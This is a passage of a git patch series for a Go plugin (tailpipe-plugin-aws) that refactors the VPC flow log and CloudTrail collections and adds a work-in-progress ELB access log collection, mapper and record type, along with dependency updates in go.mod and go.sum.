*VPCFlowLogLogCollection) Identifier() string { return "aws_vpc_flow_log" } -func (c *VPCFlowLogLogCollection) SupportedSources() []string { - return []string{ - // TODO #factory provider a shortcut for all artifact sources - artifact_source.AwsS3BucketSourceIdentifier, - artifact_source.FileSystemSourceIdentifier, - artifact_source.GcpStorageBucketSourceIdentifier, - artifact_source.AWSCloudwatchSourceIdentifier, - } -} - // //// Init implements collection.Collection //func (c *VPCFlowLogLogCollection) Init(ctx context.Context, collectionConfig, sourceConfig *hcl.Data) error { @@ -80,13 +68,6 @@ func (c *VPCFlowLogLogCollection) GetRowSchema() any { return aws_types.AwsVpcFlowLog{} } -// GetPagingDataSchema implements collection.Collection -func (c *VPCFlowLogLogCollection) GetPagingDataSchema() (paging.Data, error) { - // TODO use config to determine the type of paging data to return - // hard coded to cloudwatch for now - return paging.NewCloudwatch(), nil -} - // EnrichRow implements collection.Collection func (c *VPCFlowLogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be a string diff --git a/aws_source/cloudtrail_mapper.go b/aws_source/cloudtrail_mapper.go index 51f84d04..9f474f28 100644 --- a/aws_source/cloudtrail_mapper.go +++ b/aws_source/cloudtrail_mapper.go @@ -25,18 +25,15 @@ func (c *CloudtrailMapper) Identifier() string { // Map casts the data item as an AWSCloudTrailBatch and returns the records func (c *CloudtrailMapper) Map(_ context.Context, a *types.RowData) ([]*types.RowData, error) { - // the expected input type is a JSON string deserializable to AWSCloudTrailBatch - - // TODO why is this string not byte[] + // the expected input type is a JSON byte[] deserializable to AWSCloudTrailBatch jsonBytes, ok := a.Data.([]byte) if !ok { return nil, fmt.Errorf("expected byte[], got %T", a) } - jsonString := string(jsonBytes) // decode json ito AWSCloudTrailBatch var log aws_types.AWSCloudTrailBatch - err := json.Unmarshal([]byte(jsonString), &log) + err := json.Unmarshal(jsonBytes, &log) if err != nil { return nil, fmt.Errorf("error decoding json: %w", err) } From 9c5364fdf1cdac612e77961dbd653a27cdba43d4 Mon Sep 17 00:00:00 2001 From: kai Date: Thu, 1 Aug 2024 17:55:10 +0100 Subject: [PATCH 040/180] re-add GetConfigSchema to collection and source Config should all use pointer receivers --- aws_collection/cloudtrail_log_collection.go | 7 ++++++- aws_collection/vpc_flow_log_collection.go | 7 ++++++- aws_collection/vpc_flow_log_collection_config.go | 4 ++-- 3 files changed, 14 insertions(+), 4 deletions(-) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 7817f7b0..f88f6496 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -2,16 +2,17 @@ package aws_collection import ( "fmt" - "github.com/turbot/tailpipe-plugin-aws/aws_source" "strings" "time" "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-aws/util" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/hcl" "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/row_source" ) @@ -42,6 +43,10 @@ func (c *CloudTrailLogCollection) GetRowSchema() any { return aws_types.AWSCloudTrail{} } +func (c *CloudTrailLogCollection) GetConfigSchema() hcl.Config { + return &CloudTrailLogCollectionConfig{} +} + // EnrichRow implements collection.Collection func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be an AWSCloudTrail diff --git a/aws_collection/vpc_flow_log_collection.go b/aws_collection/vpc_flow_log_collection.go index 986df41f..838f8c8f 100644 --- a/aws_collection/vpc_flow_log_collection.go +++ b/aws_collection/vpc_flow_log_collection.go @@ -8,13 +8,14 @@ import ( "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/hcl" "github.com/turbot/tailpipe-plugin-sdk/helpers" ) // VPCFlowLogLogCollection - collection for VPC Flow Logs type VPCFlowLogLogCollection struct { // all collections must embed collection.CollectionBase - collection.CollectionBase[VpcFlowLogCollectionConfig] + collection.CollectionBase[*VpcFlowLogCollectionConfig] } func NewVPCFlowLogLogCollection() collection.Collection { @@ -68,6 +69,10 @@ func (c *VPCFlowLogLogCollection) GetRowSchema() any { return aws_types.AwsVpcFlowLog{} } +func (c *VPCFlowLogLogCollection) GetConfigSchema() hcl.Config { + return &VpcFlowLogCollectionConfig{} +} + // EnrichRow implements collection.Collection func (c *VPCFlowLogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be a string diff --git a/aws_collection/vpc_flow_log_collection_config.go b/aws_collection/vpc_flow_log_collection_config.go index 6c372014..55a3fdeb 100644 --- a/aws_collection/vpc_flow_log_collection_config.go +++ b/aws_collection/vpc_flow_log_collection_config.go @@ -19,10 +19,10 @@ var DefaultFlowLogFields = []string{ type VpcFlowLogCollectionConfig struct { // the fields to extract from the flow log - Fields []string `hcl:"fields"` + Fields []string `hcl:"fields,optional"` } -func (c VpcFlowLogCollectionConfig) Validate() error { +func (c *VpcFlowLogCollectionConfig) Validate() error { // set default fields if none are specified if len(c.Fields) == 0 { c.Fields = DefaultFlowLogFields From 85c27a2bb81a64636103b491306ac7101873c21a Mon Sep 17 00:00:00 2001 From: Graza Date: Fri, 2 Aug 2024 14:57:48 +0100 Subject: [PATCH 041/180] wip: elb access logs --- aws_collection/elb_access_log_collection.go | 177 ++++++++++++++++++ .../elb_access_log_collection_config.go | 9 + aws_source/elb_access_log_mapper.go | 47 +++++ aws_types/aws_elb_access_log.go | 39 ++++ go.mod | 21 +-- go.sum | 62 +----- 6 files changed, 285 insertions(+), 70 deletions(-) create mode 100644 aws_collection/elb_access_log_collection.go create mode 100644 aws_collection/elb_access_log_collection_config.go create mode 100644 aws_source/elb_access_log_mapper.go create mode 100644 aws_types/aws_elb_access_log.go diff --git a/aws_collection/elb_access_log_collection.go b/aws_collection/elb_access_log_collection.go new file mode 100644 index 00000000..5a1fa3b0 --- /dev/null +++ b/aws_collection/elb_access_log_collection.go @@ -0,0 +1,177 @@ +package aws_collection + +import ( + "fmt" + "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-sdk/collection" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/hcl" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "strconv" + "time" +) + +type ElbAccessLogCollection struct { + collection.CollectionBase[*ElbAccessLogCollectionConfig] +} + +func NewElbAccessLogCollection() collection.Collection { + return &ElbAccessLogCollection{} +} + +func (c *ElbAccessLogCollection) Identifier() string { + return "aws_elb_access_log" +} + +func (c *ElbAccessLogCollection) GetRowSchema() any { + return &aws_types.AwsElbAccessLog{} +} + +func (c *ElbAccessLogCollection) GetConfigSchema() hcl.Config { + return &ElbAccessLogCollectionConfig{} +} + +func (c *ElbAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { + // short-circuit for unexpected row type + rawRecord, ok := row.(map[string]string) + if !ok { + return nil, fmt.Errorf("invalid row type: %T, expected map[string]string", row) + } + + // TODO: #validate ensure we have a timestamp field + + // Build record and add any source enrichment fields + var record aws_types.AwsElbAccessLog + if sourceEnrichmentFields != nil { + record.CommonFields = *sourceEnrichmentFields + } + + for key, value := range rawRecord { + switch key { + case "type": + record.Type = value + case "timestamp": + ts, err := time.Parse(time.RFC3339, value) + if err != nil { + return nil, fmt.Errorf("error parsing timestamp: %w", err) + } + record.Timestamp = ts + case "elb": + record.Elb = value + case "client_ip": + record.ClientIP = value + record.TpSourceIP = &value + record.TpIps = append(record.TpIps, value) + case "client_port": + cp, err := strconv.Atoi(value) + if err != nil { + return nil, fmt.Errorf("error parsing client_port: %w", err) + } + record.ClientPort = cp + case "target_ip": + record.TargetIP = value + record.TpDestinationIP = &value + record.TpIps = append(record.TpIps, value) + case "target_port": + tp, err := strconv.Atoi(value) + if err != nil { + return nil, fmt.Errorf("error parsing target_port: %w", err) + } + record.TargetPort = tp + case "request_processing_time": + rpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return nil, fmt.Errorf("error parsing request_processing_time: %w", err) + } + record.RequestProcessingTime = rpt + case "target_processing_time": + tpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return nil, fmt.Errorf("error parsing target_processing_time: %w", err) + } + record.TargetProcessingTime = tpt + case "response_processing_time": + rpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return nil, fmt.Errorf("error parsing response_processing_time: %w", err) + } + record.ResponseProcessingTime = rpt + case "elb_status_code": + esc, err := strconv.Atoi(value) + if err != nil { + return nil, fmt.Errorf("error parsing elb_status_code: %w", err) + } + record.ElbStatusCode = esc + case "target_status_code": + tsc, err := strconv.Atoi(value) + if err != nil { + return nil, fmt.Errorf("error parsing target_status_code: %w", err) + } + record.TargetStatusCode = tsc + case "received_bytes": + rb, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return nil, fmt.Errorf("error parsing received_bytes: %w", err) + } + record.ReceivedBytes = rb + case "sent_bytes": + sb, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return nil, fmt.Errorf("error parsing sent_bytes: %w", err) + } + record.SentBytes = sb + case "request": + record.Request = value + case "user_agent": + record.UserAgent = value + case "ssl_cipher": + record.SslCipher = value + case "ssl_protocol": + record.SslProtocol = value + case "target_group_arn": + record.TargetGroupArn = value + case "trace_id": + record.TraceID = value + case "domain_name": + record.DomainName = value + record.TpDomains = append(record.TpDomains, value) + case "chosen_cert_arn": + record.ChosenCertArn = value + case "matched_rule_priority": + mrp, err := strconv.Atoi(value) + if err != nil { + return nil, fmt.Errorf("error parsing matched_rule_priority: %w", err) + } + record.MatchedRulePriority = mrp + case "request_creation_time": + rct, err := time.Parse(time.RFC3339, value) + if err != nil { + return nil, fmt.Errorf("error parsing request_creation_time: %w", err) + } + record.RequestCreationTime = rct + case "actions_executed": + record.ActionsExecuted = value + case "redirect_url": + record.RedirectURL = &value + case "error_reason": + record.ErrorReason = &value + } + } + + // Record standardization + record.TpID = xid.New().String() + record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + record.TpSourceType = "aws_elb_access_log" // TODO: #refactor move to source? + + // Hive Fields + record.TpCollection = c.Identifier() + if record.TpConnection == "" { + record.TpConnection = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) + } + record.TpYear = int32(record.Timestamp.Year()) + record.TpMonth = int32(record.Timestamp.Month()) + record.TpDay = int32(record.Timestamp.Day()) + + return record, nil +} diff --git a/aws_collection/elb_access_log_collection_config.go b/aws_collection/elb_access_log_collection_config.go new file mode 100644 index 00000000..2d1fd5fa --- /dev/null +++ b/aws_collection/elb_access_log_collection_config.go @@ -0,0 +1,9 @@ +package aws_collection + +type ElbAccessLogCollectionConfig struct { +} + +func (a ElbAccessLogCollectionConfig) Validate() error { + // TODO: #config validate the config + return nil +} diff --git a/aws_source/elb_access_log_mapper.go b/aws_source/elb_access_log_mapper.go new file mode 100644 index 00000000..1a03e72c --- /dev/null +++ b/aws_source/elb_access_log_mapper.go @@ -0,0 +1,47 @@ +package aws_source + +import ( + "context" + "fmt" + + "github.com/satyrius/gonx" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +const elbLogFormat = `$type $timestamp $elb $client_ip:$client_port $target_ip:$target_port $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn $trace_id $domain_name $chosen_cert_arn $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason"` + +type ELBAccessLogMapper struct { +} + +func NewELBAccessLogMapper() *ELBAccessLogMapper { + return &ELBAccessLogMapper{} +} + +func (c *ELBAccessLogMapper) Identifier() string { + return "elb_access_log_mapper" +} + +func (c *ELBAccessLogMapper) Map(ctx context.Context, a *types.RowData) ([]*types.RowData, error) { + var out []*types.RowData + + // validate input type is string + input, ok := a.Data.(string) + if !ok { + return nil, fmt.Errorf("expected string, got %T", a.Data) + } + inputMetadata := a.Metadata + + // parse log line + parser := gonx.NewParser(elbLogFormat) + parsed, err := parser.ParseString(input) + if err != nil { + return nil, fmt.Errorf("error parsing log line: %w", err) + } + + fields := make(map[string]string) + + fields = parsed.Fields() + out = append(out, types.NewData(fields, types.WithMetadata(inputMetadata))) + + return out, nil +} diff --git a/aws_types/aws_elb_access_log.go b/aws_types/aws_elb_access_log.go new file mode 100644 index 00000000..91dbf253 --- /dev/null +++ b/aws_types/aws_elb_access_log.go @@ -0,0 +1,39 @@ +package aws_types + +import ( + "time" + + "github.com/turbot/tailpipe-plugin-sdk/enrichment" +) + +type AwsElbAccessLog struct { + enrichment.CommonFields + + Type string `json:"type"` + Timestamp time.Time `json:"timestamp"` + Elb string `json:"elb"` + ClientIP string `json:"client_ip"` + ClientPort int `json:"client_port"` + TargetIP string `json:"target_ip"` + TargetPort int `json:"target_port"` + RequestProcessingTime float64 `json:"request_processing_time"` + TargetProcessingTime float64 `json:"target_processing_time"` + ResponseProcessingTime float64 `json:"response_processing_time"` + ElbStatusCode int `json:"elb_status_code"` + TargetStatusCode int `json:"target_status_code"` + ReceivedBytes int64 `json:"received_bytes"` + SentBytes int64 `json:"sent_bytes"` + Request string `json:"request"` + UserAgent string `json:"user_agent"` + SslCipher string `json:"ssl_cipher"` + SslProtocol string `json:"ssl_protocol"` + TargetGroupArn string `json:"target_group_arn"` + TraceID string `json:"trace_id"` + DomainName string `json:"domain_name"` + ChosenCertArn string `json:"chosen_cert_arn"` + MatchedRulePriority int `json:"matched_rule_priority"` + RequestCreationTime time.Time `json:"request_creation_time"` + ActionsExecuted string `json:"actions_executed"` + RedirectURL *string `json:"redirect_url,omitempty"` + ErrorReason *string `json:"error_reason,omitempty"` +} diff --git a/go.mod b/go.mod index 0053c44b..f9f4c0de 100644 --- a/go.mod +++ b/go.mod @@ -41,18 +41,14 @@ require ( github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4 // indirect github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 // indirect github.com/aws/smithy-go v1.20.3 // indirect - github.com/briandowns/spinner v1.23.0 // indirect github.com/btubbs/datetime v0.1.1 // indirect github.com/fatih/color v1.15.0 // indirect github.com/felixge/httpsnoop v1.0.4 // indirect - github.com/gabriel-vasile/mimetype v1.4.2 // indirect github.com/gertd/go-pluralize v0.2.1 // indirect github.com/go-logr/logr v1.4.2 // indirect github.com/go-logr/stdr v1.2.2 // indirect github.com/go-ole/go-ole v1.2.6 // indirect - github.com/go-playground/locales v0.14.1 // indirect - github.com/go-playground/universal-translator v0.18.1 // indirect - github.com/go-playground/validator/v10 v10.15.5 // indirect + github.com/go-test/deep v1.1.0 // indirect github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/google/go-cmp v0.6.0 // indirect @@ -60,25 +56,15 @@ require ( github.com/google/uuid v1.6.0 // indirect github.com/googleapis/enterprise-certificate-proxy v0.3.2 // indirect github.com/googleapis/gax-go/v2 v2.13.0 // indirect - github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-hclog v1.6.2 // indirect - github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-plugin v1.6.1 // indirect github.com/hashicorp/hcl/v2 v2.20.0 // indirect github.com/hashicorp/yamux v0.1.1 // indirect github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f // indirect github.com/iancoleman/strcase v0.3.0 // indirect github.com/inconshreveable/mousetrap v1.1.0 // indirect - github.com/jackc/chunkreader/v2 v2.0.1 // indirect - github.com/jackc/pgconn v1.14.3 // indirect - github.com/jackc/pgio v1.0.0 // indirect - github.com/jackc/pgpassfile v1.0.0 // indirect - github.com/jackc/pgproto3/v2 v2.3.3 // indirect - github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect github.com/jmespath/go-jmespath v0.4.0 // indirect - github.com/karrick/gows v0.3.0 // indirect - github.com/leodido/go-urn v1.2.4 // indirect github.com/logrusorgru/aurora v2.0.3+incompatible // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.19 // indirect @@ -90,8 +76,8 @@ require ( github.com/oklog/run v1.0.0 // indirect github.com/olekukonko/tablewriter v0.0.5 // indirect github.com/rivo/uniseg v0.2.0 // indirect - github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect + github.com/smartystreets/goconvey v1.8.1 // indirect github.com/spf13/cobra v1.7.0 // indirect github.com/spf13/pflag v1.0.5 // indirect github.com/tklauser/go-sysconf v0.3.9 // indirect @@ -99,7 +85,6 @@ require ( github.com/tkrajina/go-reflector v0.5.6 // indirect github.com/turbot/go-kit v0.10.0-rc.0 // indirect github.com/turbot/steampipe-plugin-code v0.7.0 // indirect - github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b // indirect github.com/yusufpapurcu/wmi v1.2.2 // indirect github.com/zclconf/go-cty v1.14.3 // indirect go.opencensus.io v0.24.0 // indirect @@ -115,7 +100,6 @@ require ( golang.org/x/oauth2 v0.21.0 // indirect golang.org/x/sync v0.7.0 // indirect golang.org/x/sys v0.22.0 // indirect - golang.org/x/term v0.22.0 // indirect golang.org/x/text v0.16.0 // indirect golang.org/x/time v0.5.0 // indirect golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect @@ -129,5 +113,6 @@ require ( require ( github.com/rs/xid v1.5.0 + github.com/satyrius/gonx v1.4.0 github.com/turbot/pipe-fittings v1.4.1 ) diff --git a/go.sum b/go.sum index 5d82b7c6..a5adc0de 100644 --- a/go.sum +++ b/go.sum @@ -9,10 +9,6 @@ cloud.google.com/go/compute/metadata v0.5.0 h1:Zr0eK8JbFv6+Wi4ilXAR8FJ3wyNdpxHKJ cloud.google.com/go/compute/metadata v0.5.0/go.mod h1:aHnloV2TPI38yx4s9+wAZhHykWvVCfu7hQbF+9CWoiY= cloud.google.com/go/iam v1.1.10 h1:ZSAr64oEhQSClwBL670MsJAW5/RLiC6kfw3Bqmd5ZDI= cloud.google.com/go/iam v1.1.10/go.mod h1:iEgMq62sg8zx446GCaijmA2Miwg5o3UbO+nI47WHJps= -cloud.google.com/go/logging v1.11.0 h1:v3ktVzXMV7CwHq1MBF65wcqLMA7i+z3YxbUsoK7mOKs= -cloud.google.com/go/logging v1.11.0/go.mod h1:5LDiJC/RxTt+fHc1LAt20R9TKiUTReDg6RuuFOZ67+A= -cloud.google.com/go/longrunning v0.5.9 h1:haH9pAuXdPAMqHvzX0zlWQigXT7B0+CL4/2nXXdBo5k= -cloud.google.com/go/longrunning v0.5.9/go.mod h1:HD+0l9/OOW0za6UWdKJtXoFAX/BGg/3Wj8p10NeWF7c= cloud.google.com/go/storage v1.41.0 h1:RusiwatSu6lHeEXe3kglxakAmAbfV+rhtPqA6i8RBx0= cloud.google.com/go/storage v1.41.0/go.mod h1:J1WCa/Z2FcgdEDuPUY8DxT5I+d9mFKsCepp5vR6Sq80= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= @@ -64,8 +60,6 @@ github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 h1:ZsDKRLXGWHk8WdtyYMoGNO7bTudr github.com/aws/aws-sdk-go-v2/service/sts v1.30.3/go.mod h1:zwySh8fpFyXp9yOr/KVzxOl8SRqgf/IDw5aUt9UKFcQ= github.com/aws/smithy-go v1.20.3 h1:ryHwveWzPV5BIof6fyDvor6V3iUL7nTfiTKXHiW05nE= github.com/aws/smithy-go v1.20.3/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= -github.com/briandowns/spinner v1.23.0 h1:alDF2guRWqa/FOZZYWjlMIx2L6H0wyewPxo/CH4Pt2A= -github.com/briandowns/spinner v1.23.0/go.mod h1:rPG4gmXeN3wQV/TsAY4w8lPdIM6RX3yqeBQJSrbXjuE= github.com/btubbs/datetime v0.1.1 h1:KuV+F9tyq/hEnezmKZNGk8dzqMVsId6EpFVrQCfA3To= github.com/btubbs/datetime v0.1.1/go.mod h1:n2BZ/2ltnRzNiz27aE3wUb2onNttQdC+WFxAoks5jJM= github.com/bufbuild/protocompile v0.4.0 h1:LbFKd2XowZvQ/kajzguUp2DC9UEIQhIq77fZZlaQsNA= @@ -87,8 +81,6 @@ github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= -github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU= -github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= github.com/gertd/go-pluralize v0.2.1 h1:M3uASbVjMnTsPb0PNqg+E/24Vwigyo/tvyMTtAlLgiA= github.com/gertd/go-pluralize v0.2.1/go.mod h1:rbYaKDbsXxmRfr8uygAEKhOWsjyrrqrkHVpZvoOp8zk= github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= @@ -98,14 +90,6 @@ github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= -github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= -github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= -github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= -github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= -github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= -github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= -github.com/go-playground/validator/v10 v10.15.5 h1:LEBecTWb/1j5TNY1YYG2RcOUN3R7NLylN+x8TTueE24= -github.com/go-playground/validator/v10 v10.15.5/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= github.com/go-test/deep v1.1.0 h1:WOcxcdHcvdgThNXjw0t76K42FXTU7HpNQWHpA2HHNlg= github.com/go-test/deep v1.1.0/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= @@ -143,15 +127,12 @@ github.com/googleapis/enterprise-certificate-proxy v0.3.2 h1:Vie5ybvEvT75RniqhfF github.com/googleapis/enterprise-certificate-proxy v0.3.2/go.mod h1:VLSiSSBs/ksPL8kq3OBOQ6WRI2QnaFynd1DCjZ62+V0= github.com/googleapis/gax-go/v2 v2.13.0 h1:yitjD5f7jQHhyDsnhKEBU52NdvvdSeGzlAnDPT0hH1s= github.com/googleapis/gax-go/v2 v2.13.0/go.mod h1:Z/fvTZXF8/uw7Xu5GuslPw+bplx6SS338j1Is2S+B7A= -github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= -github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/gopherjs/gopherjs v1.17.2 h1:fQnZVsXk8uxXIStYb0N4bGk7jeyTalG/wsZjQ25dO0g= +github.com/gopherjs/gopherjs v1.17.2/go.mod h1:pRRIvn/QzFLrKfvEz3qUuEhtE/zLCWfreZ6J5gM2i+k= github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= github.com/hashicorp/go-hclog v1.6.2 h1:NOtoftovWkDheyUM/8JW3QMiXyxJK3uHRK7wV04nD2I= github.com/hashicorp/go-hclog v1.6.2/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= -github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= -github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= github.com/hashicorp/go-plugin v1.6.1 h1:P7MR2UP6gNKGPp+y7EZw2kOiq4IR9WiqLvp0XOsVdwI= github.com/hashicorp/go-plugin v1.6.1/go.mod h1:XPHFku2tFo3o3QKFgSYo+cghcUhw1NA1hZyMK0PWAw0= github.com/hashicorp/hcl/v2 v2.20.0 h1:l++cRs/5jQOiKVvqXZm/P1ZEfVXJmvLS9WSVxkaeTb4= @@ -164,37 +145,20 @@ github.com/iancoleman/strcase v0.3.0 h1:nTXanmYxhfFAMjZL34Ov6gkzEsSJZ5DbhxWjvSAS github.com/iancoleman/strcase v0.3.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= -github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= -github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= -github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= -github.com/jackc/pgconn v1.14.3 h1:bVoTr12EGANZz66nZPkMInAV/KHD2TxH9npjXXgiB3w= -github.com/jackc/pgconn v1.14.3/go.mod h1:RZbme4uasqzybK2RK5c65VsHxoyaml09lx3tXOcO/VM= -github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE= -github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8= -github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5Wi/+Zz7xoE5ALHsRQlOctkOiHc= -github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= -github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= -github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= -github.com/jackc/pgproto3/v2 v2.3.3 h1:1HLSx5H+tXR9pW3in3zaztoEwQYRC9SQaYUHjTSUOag= -github.com/jackc/pgproto3/v2 v2.3.3/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= -github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk= -github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM= github.com/jhump/protoreflect v1.15.1 h1:HUMERORf3I3ZdX05WaQ6MIpd/NJ434hTp5YiKgfCL6c= github.com/jhump/protoreflect v1.15.1/go.mod 